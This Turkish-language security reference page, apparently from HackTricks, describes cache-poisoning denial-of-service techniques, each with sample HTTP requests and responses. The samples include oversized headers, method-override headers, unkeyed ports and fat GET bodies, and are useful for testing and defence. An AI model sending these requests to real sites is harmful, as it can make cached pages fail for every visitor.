Cache Poisoning to DoS

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

caution

Bu sayfada cache sunucuları için geçerli olan isteklere hata ile yanıt veren web sunucusu oluşturmak için farklı varyasyonlar bulabilirsiniz.

  • HTTP Header Oversize (HHO)

Web sunucusu tarafından desteklenen boyuttan daha büyük ancak cache sunucusu tarafından desteklenen boyuttan daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek 400 yanıtı ile yanıt verecektir:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler

Bazı zararlı meta karakterler içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Kötü yapılandırılmış bir başlık sadece \: olarak bir başlık olabilir.

Bu, beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen Content-Type: gibi.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Anahtarsız başlık

Bazı web siteleri, X-Amz-Website-Location-Redirect: someThing başlığı gibi istekteki belirli başlıkları gördüklerinde bir hata durum kodu döndürecektir:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Yöntem Aşımı Saldırısı (HMO)

Eğer sunucu X-HTTP-Method-Override, X-HTTP-Method veya X-Method-Override gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Anahtarsız Port

Eğer Host başlığındaki port, yanıtta yansıtılıyorsa ve önbellek anahtarında yer almıyorsa, kullanılmayan bir porta yönlendirmek mümkündür:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Uzun Yönlendirme DoS

Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaktır:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Host başlığı büyük/küçük harf normalizasyonu

Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Yol normalizasyonu

Bazı sayfalar, yolda URLencode edilmiş veri gönderildiğinde hata kodları döndürecektir, ancak önbellek sunucusu yolu URLdecode edecek ve URLdecoded yol için yanıtı saklayacaktır:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Bazı önbellek sunucuları, örneğin Cloudflare veya web sunucuları, gövdesi olan GET isteklerini durdurur, bu nedenle geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin